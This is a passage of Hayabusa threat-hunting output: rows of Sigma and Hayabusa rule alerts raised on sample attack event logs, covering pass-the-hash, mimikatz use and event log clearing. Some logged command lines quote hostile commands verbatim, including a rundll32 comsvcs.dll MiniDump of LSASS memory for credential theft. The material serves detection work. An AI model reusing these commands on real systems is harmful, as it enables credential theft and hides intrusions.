admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID4688-Network share manipulation via commandline.evtx +2021-10-20 22:39:12.731 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,informational,Logon Type 9 - NewCredentials,User: admmig : Workstation: - : IP Address: ::1 : Port: 0 : LogonID: 0x266e045 : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x266e045,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:17.315 +09:00,FS03.offsec.lan,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 22:39:21.730 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID4624-Mimikatz Pass the hash.evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: powershell.exe -NoP -C ""C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\76nivOxA.dmp full;Wait-Process -Id (Get-Process rundll32).id"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: OFFSEC\admmig : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,WMI Spawning Windows PowerShell,,rules/sigma/process_creation/win_wmi_spwns_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,PowerShell Get-Process LSASS,,rules/sigma/process_creation/win_susp_powershell_getprocess_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:55.808 +09:00,FS03.offsec.lan,1,high,Suspicious Script Execution From Temp Folder,,rules/sigma/process_creation/win_susp_script_exec_from_temp.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.089 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: ""C:\Windows\System32\rundll32.exe"" C:\Windows\System32\comsvcs.dll MiniDump 512 \Windows\Temp\76nivOxA.dmp full : Path: C:\Windows\System32\rundll32.exe : User: OFFSEC\admmig : Parent Command: powershell.exe -NoP -C ""C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\76nivOxA.dmp full;Wait-Process -Id (Get-Process rundll32).id""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.089 +09:00,FS03.offsec.lan,1,medium,Process Dump via Comsvcs DLL,,rules/sigma/process_creation/win_susp_comsvcs_procdump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.105 +09:00,FS03.offsec.lan,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:18:56.105 +09:00,FS03.offsec.lan,10,critical,Lsass Memory Dump via Comsvcs DLL,,rules/sigma/process_access/sysmon_lsass_dump_comsvcs_dll.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID1-LSASS dump with LSASSY (SYSMON).evtx +2021-10-20 23:29:09.758 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26bdfac,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.758 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 49192 : LogonID: 0x26bdfac,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.773 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26bdfde,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.773 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 38940 : LogonID: 0x26bdfde,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.836 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be000,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.836 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be000,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.898 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be01f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.898 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be01f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.961 +09:00,FS03.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x26be03c,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:09.961 +09:00,FS03.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 54742 : LogonID: 0x26be03c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.214 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.214 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.542 +09:00,FS03.offsec.lan,4656,critical,LSASS Access from Non System Account,,rules/sigma/builtin/security/win_lsass_access_non_system_account.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:10.542 +09:00,FS03.offsec.lan,4656,high,Generic Password Dumper Activity on LSASS,,rules/sigma/builtin/security/win_susp_lsass_dump_generic.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:11.230 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:11.230 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:12.553 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\2V7Be7Gq.dmp : IP Address: 10.23.123.11,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:12.553 +09:00,FS03.offsec.lan,5145,medium,Suspicious Access to Sensitive File Extensions,,rules/sigma/builtin/security/win_susp_raccess_sensitive_fext.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:13.725 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:29:22.291 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4688-LSASS dump with LSASSY (process).evtx +2021-10-20 23:39:26.349 +09:00,FS03.offsec.lan,4104,high,Suspicious PowerShell Keywords,,rules/sigma/powershell/powershell_script/powershell_suspicious_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID800-4103-4104-LSASS dump with LSASSY (PowerShell).evtx +2021-10-20 23:39:26.349 +09:00,FS03.offsec.lan,4104,high,PowerShell Get-Process LSASS in ScriptBlock,,rules/sigma/powershell/powershell_script/powershell_suspicious_getprocess_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID800-4103-4104-LSASS dump with LSASSY (PowerShell).evtx +2021-10-22 01:27:02.319 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: cscript.exe //e:jscript testme.js : Path: C:\Windows\System32\cscript.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.319 +09:00,LAPTOP-JU4M3I0E,1,medium,WSF/JSE/JS/VBA/VBE File Execution,,rules/sigma/process_creation/win_susp_script_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.999 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmdkey.exe"" /generic:Microsoft_Windows_Shell_ZipFolder:filename=C:\Users\bouss\AppData\Local\Temp\lync.zip /pass:tWIMmIF /user:"""" : Path: C:\Windows\System32\cmdkey.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:02.999 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious ZipExec Execution,,rules/sigma/process_creation/win_pc_susp_zipexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.858 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Users\bouss\AppData\Local\Temp\Temp3_lync.zip\i.exe"" : Path: C:\Users\bouss\AppData\Local\Temp\Temp3_lync.zip\i.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.946 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmdkey.exe"" /delete Microsoft_Windows_Shell_ZipFolder:filename=C:\Users\bouss\AppData\Local\Temp\lync.zip : Path: C:\Windows\System32\cmdkey.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: cscript.exe //e:jscript testme.js",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:12.946 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious ZipExec Execution,,rules/sigma/process_creation/win_pc_susp_zipexec.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 01:27:14.015 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: ""C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe"" popup ""Malicious Behavior Detection Alert"" ""Elastic Security detected Execution via Renamed Signed Binary Proxy"" ""C:\Program Files\Elastic\Endpoint\cache\resources\elastic-endpoint-security.png"" : Path: C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ""C:\Program Files\Elastic\Endpoint\elastic-endpoint.exe"" run",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_zipexec.evtx +2021-10-22 02:38:36.711 +09:00,FS03.offsec.lan,4104,medium,Windows PowerShell Web Request,,rules/sigma/powershell/powershell_script/powershell_web_request.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID800-4103-4104-PowerShell BITS job started.evtx +2021-10-22 02:53:42.530 +09:00,FS03.offsec.lan,59,informational,Bits Job Creation,Job Title: BITS Transfer : URL: https://releases.ubuntu.com/20.04.3/ubuntu-20.04.3-desktop-amd64.iso,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1197-BITS jobs/ID60-High volume file downloaded with BITS.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: mimikatz.exe : Path: C:\TOOLS\Mimikatzx64\mimikatz.exe : User: OFFSEC\admmig : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:12.867 +09:00,FS03.offsec.lan,1,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: mimikatz.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.120 +09:00,FS03.offsec.lan,1,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 05:40:43.136 +09:00,FS03.offsec.lan,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1550-Use Alternate Authentication Material/ID10-Pass the hash Mimikatz memory access.evtx +2021-10-22 22:39:49.619 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Firewall configuration enumerated (command).evtx +2021-10-22 23:02:11.218 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Scheduled task configuration enumeration.evtx +2021-10-22 23:02:15.177 +09:00,FS03.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Sysmon\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1016-System Network Configuration Discovery/ID4688-Scheduled task configuration enumeration.evtx +2021-10-24 06:50:11.666 +09:00,FS03.offsec.lan,4625,low,Logon Failure - Unknown Reason,User: - : Type: 10 : Workstation: - : IP Address: 10.23.23.9 : SubStatus: 0x0 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0001-Initial access/T1078-Valid accounts/ID4625-brutfoce with denied access due to account restriction.evtx +2021-10-24 06:51:57.212 +09:00,FS03.offsec.lan,4625,low,Logon Failure - Unknown Reason,User: - : Type: 10 : Workstation: - : IP Address: 10.23.23.9 : SubStatus: 0x0 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-UnknownError.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0001-Initial access/T1078-Valid accounts/ID4625-brutfoce with denied access due to account restriction.evtx +2021-10-26 03:04:30.334 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:09:51.875 +09:00,FS03.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.002 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.080 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.095 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.127 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.142 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.215 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.293 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.340 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event logs/ID104-1102-Event log cleared.evtx +2021-10-26 03:11:09.355 +09:00,FS03.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.001-Clear Windows event 